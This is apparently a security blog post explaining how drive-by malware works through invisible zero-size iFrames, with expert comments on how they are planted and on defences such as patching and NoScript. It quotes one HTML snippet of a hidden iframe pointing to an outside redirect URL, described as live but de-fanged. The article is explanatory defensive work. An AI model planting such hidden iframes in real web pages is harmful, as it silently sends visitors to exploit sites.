Mention drive-by malware to nefarious types and they smile, silently thanking the invisible iFrame. Ever wonder why?
During a seminar about drive-by malware, the speaker briefly touched on iFrames; mentioning they're invisible, difficult to detect, and the reason why drive-by malware is so successful.
As I listened, I realized I didn't know how iFrames worked, and what she meant by invisible. As one who subscribes to "Know thy enemy," that's not good. Right then, I resolved to change that.
First thing I discovered: millions of websites incorporate iFrames, but they're visible. By definition, an iframe (Inline Frame) is an HTML tag that allows an HTML document to be embedded inside another. The IFrame element inserts content from another source, such as an advertisement, into the web page containing the iFrame. Here's an example:
That code inserts the following:
Here is what an actual (live at this writing, but de-fanged) invisible iframe looks like:<html><body><iframe width="0" height="0" frameborder="0" src="http://loadus.exelator.com/load/?p=258&g=024&c=23706&ctg=modeling&j=w"></iframe></body></html>There is no malware within the iframe itself, just a link to another site that will attempt the exploit.
So, code specifying width=0 and height=0 makes the iFrame disappear. And, the reason for making the iFrame disappear is to prevent the victim from seeing the web page hosting the exploit code right in the middle of the viewable portion of a legitimate web page.
I asked Andre' if the user had to activate the iFrame:
No, the exploit can install and execute the malware without any user knowledge. Simply visiting the web site will initiate a connection to the redirect site. Once the redirect is made, the exploit installs by leveraging a vulnerability in the user's browser or plug-in.
Planting malicious iFrames
I now get how iFrames become invisible. What I don't get is how an iFrame gets positioned. I mentioned this to Lenny Zeltser, veteran security professional, author, and SANS instructor. He offered the following explanation:
Attackers can create a malicious website, but then they need to bring visitors to that website. This can be done in many ways. For instance, the attacker might use aggressive SEO techniques to show the malicious site in search results.
Another approach involves placing malicious advertisements. The attacker's ad could include code that instructs the victim's browser to visit the malicious website.
The method you're interested in involves using a legitimate website to redirect visitors to the malicious website. The attacker might compromise a legitimate site using techniques such as SQL injection to insert invisible iFrames that automatically redirect visitors to the site hosting the exploit.
Anything we can do?
I asked André and Lenny if there was anything we could do to prevent drive-by malware? They came up with the following suggestions:
- Maintain lists of known malicious websites. (Workable, but entirely reactive)
- Check out security tools that examine web traffic using behavioral and heuristic analysis. (Better, but expensive and still reactive)
- Make sure all computers -- including web servers -- are fully patched. (Best, unless Zero-day)
André also mentioned tools like NoScript should be of some help. That was all I needed. I've been meaning to see if Giorgio Maone, creator of NoScript, was feeling better. Here's what Giorgio had to say:
NoScript does protect against this because permissions given to a certain page are not cascaded to its inclusions and embeddings (including iFrames) from different origins. Therefore, even if the compromised site is in your whitelist, the third-party site under the attacker's control is still blocked.
I'm often asked why the "Allow all this page" NoScript command needs to be repeated multiple times before unblocking all sources. That's because NoScript only gives permission to the resources you see in the menu when you issue the command, rather than giving a free pass to content with unknown origins.
This way you're always given a chance to examine every origin before allowing it (e.g. by middle-clicking its "Allow xyz.com" menu item), and permissions can never be given blindly.
What does it mean?
The goal of drive-by malware is to take temporary control of a target's web browser; then force it to download and execute a malicious application all without the victim knowing. Fortunately, the entire operation hinges on invisible iFrames. If we can uncloak them, the whole process falls apart.
I'd like to take a moment and thank the three gentlemen for their help. I've known each for a while now and their expertise and willingness to help is appreciated.